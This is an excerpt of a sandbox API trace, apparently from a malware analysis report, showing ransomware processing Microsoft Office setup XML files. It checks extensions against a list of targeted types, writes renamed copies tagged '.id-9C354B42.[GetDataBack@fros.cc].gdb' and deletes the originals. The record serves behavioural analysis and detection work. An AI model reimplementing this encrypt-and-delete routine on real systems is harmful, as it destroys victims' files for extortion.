Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".1cd") returned 4 [0120.352] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".jpg") returned 4 [0120.352] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".doc") returned 4 [0120.352] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString=".docx") returned 5 [0120.352] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.352] lstrlenW (lpString=".pdf") returned 4 [0120.352] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString=".xls") returned 4 [0120.352] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString=".xlsx") returned 5 [0120.352] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.352] lstrlenW (lpString=".ppt") returned 4 [0120.352] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".zip") returned 4 [0120.352] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.352] lstrlenW (lpString=".rar") returned 4 [0120.352] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString=".bz2") returned 4 [0120.352] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString=".7z") returned 3 [0120.352] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".dbf") returned 4 [0120.352] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".1cd") returned 4 [0120.352] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.352] lstrlenW (lpString=".jpg") returned 4 [0120.353] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.353] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.353] lstrlenW (lpString="SETUP.XML") returned 9 [0120.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.353] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2362) returned 1 [0120.353] CloseHandle (hObject=0x1c0) returned 1 [0120.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0120.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.353] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.353] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.354] GetLastError () returned 0x0 [0120.354] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x93a, lpOverlapped=0x0) returned 1 [0120.699] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x940, lpOverlapped=0x0) returned 1 [0120.700] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0120.700] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0120.700] SetEndOfFile (hFile=0x1f0) returned 1 [0120.700] CloseHandle (hObject=0x1f0) returned 1 [0120.701] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.701] SetEndOfFile (hFile=0x1c0) returned 1 [0120.701] CloseHandle (hObject=0x1c0) returned 1 [0120.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.702] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0120.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.702] lstrlenW (lpString=".doc") returned 4 [0120.702] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.702] lstrlenW (lpString=".docx") returned 5 [0120.702] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.702] lstrlenW (lpString=".pdf") returned 4 [0120.702] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.702] lstrlenW (lpString=".xls") returned 4 [0120.702] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.702] lstrlenW (lpString=".xlsx") returned 5 [0120.702] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.703] lstrlenW (lpString=".ppt") returned 4 [0120.703] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.703] lstrlenW (lpString=".zip") returned 4 [0120.703] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.703] lstrlenW (lpString=".rar") returned 4 [0120.703] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.703] lstrlenW (lpString=".bz2") returned 4 [0120.704] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString=".7z") returned 3 [0120.704] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".dbf") returned 4 [0120.704] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".1cd") returned 4 [0120.704] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".jpg") returned 4 [0120.704] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".doc") returned 4 [0120.704] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString=".docx") returned 5 [0120.704] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.704] lstrlenW (lpString=".pdf") returned 4 [0120.704] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString=".xls") returned 4 [0120.704] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString=".xlsx") returned 5 [0120.704] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.704] lstrlenW (lpString=".ppt") returned 4 [0120.704] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".zip") returned 4 [0120.704] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.704] lstrlenW (lpString=".rar") returned 4 [0120.704] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString=".bz2") returned 4 [0120.704] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString=".7z") returned 3 [0120.704] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".dbf") returned 4 [0120.704] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".1cd") returned 4 [0120.704] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0120.704] lstrlenW (lpString=".jpg") returned 4 [0120.705] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.705] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.705] lstrlenW (lpString="SETUP.XML") returned 9 [0120.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.812] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=4207) returned 1 [0120.812] CloseHandle (hObject=0x1c0) returned 1 [0120.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0120.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.812] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.812] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.812] GetLastError () returned 0x0 [0120.813] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x106f, lpOverlapped=0x0) returned 1 [0120.859] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x1070, lpOverlapped=0x0) returned 1 [0120.860] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0120.860] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0120.860] SetEndOfFile (hFile=0x1f0) returned 1 [0120.860] CloseHandle (hObject=0x1f0) returned 1 [0120.861] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.861] SetEndOfFile (hFile=0x1c0) returned 1 [0120.862] CloseHandle (hObject=0x1c0) returned 1 [0120.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.862] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0120.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.862] lstrlenW (lpString=".doc") returned 4 [0120.863] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString=".docx") returned 5 [0120.863] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.863] lstrlenW (lpString=".pdf") returned 4 [0120.863] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString=".xls") returned 4 [0120.863] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString=".xlsx") returned 5 [0120.863] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.863] lstrlenW (lpString=".ppt") returned 4 [0120.863] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.863] lstrlenW (lpString=".zip") returned 4 [0120.863] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.863] lstrlenW (lpString=".rar") returned 4 [0120.863] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString=".bz2") returned 4 [0120.863] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString=".7z") returned 3 [0120.863] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.863] lstrlenW (lpString=".dbf") returned 4 [0120.863] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.863] lstrlenW (lpString=".1cd") returned 4 [0120.863] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.863] lstrlenW (lpString=".jpg") returned 4 [0120.863] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.863] lstrlenW (lpString=".doc") returned 4 [0120.863] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.863] lstrlenW (lpString=".docx") returned 5 [0120.863] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.864] lstrlenW (lpString=".pdf") returned 4 [0120.864] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString=".xls") returned 4 [0120.864] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString=".xlsx") returned 5 [0120.864] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.864] lstrlenW (lpString=".ppt") returned 4 [0120.864] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.864] lstrlenW (lpString=".zip") returned 4 [0120.864] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.864] lstrlenW (lpString=".rar") returned 4 [0120.864] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString=".bz2") returned 4 [0120.864] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString=".7z") returned 3 [0120.864] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.864] lstrlenW (lpString=".dbf") returned 4 [0120.864] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.864] lstrlenW (lpString=".1cd") returned 4 [0120.864] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0120.864] lstrlenW (lpString=".jpg") returned 4 [0120.864] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.864] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.864] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0120.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.865] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1452) returned 1 [0120.865] CloseHandle (hObject=0x1c0) returned 1 [0120.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0120.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.865] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.865] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0121.014] GetLastError () returned 0x0 [0121.014] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x5ac, lpOverlapped=0x0) returned 1 [0121.081] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x5b0, lpOverlapped=0x0) returned 1 [0121.082] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.082] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xf0, lpOverlapped=0x0) returned 1 [0121.082] SetEndOfFile (hFile=0x204) returned 1 [0121.083] CloseHandle (hObject=0x204) returned 1 [0121.083] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.083] SetEndOfFile (hFile=0x1c0) returned 1 [0121.084] CloseHandle (hObject=0x1c0) returned 1 [0121.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0121.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0121.100] lstrlenW (lpString=".doc") returned 4 [0121.100] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".docx") returned 5 [0121.101] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.101] lstrlenW (lpString=".pdf") returned 4 [0121.101] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.101] lstrlenW (lpString=".xls") returned 4 [0121.101] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 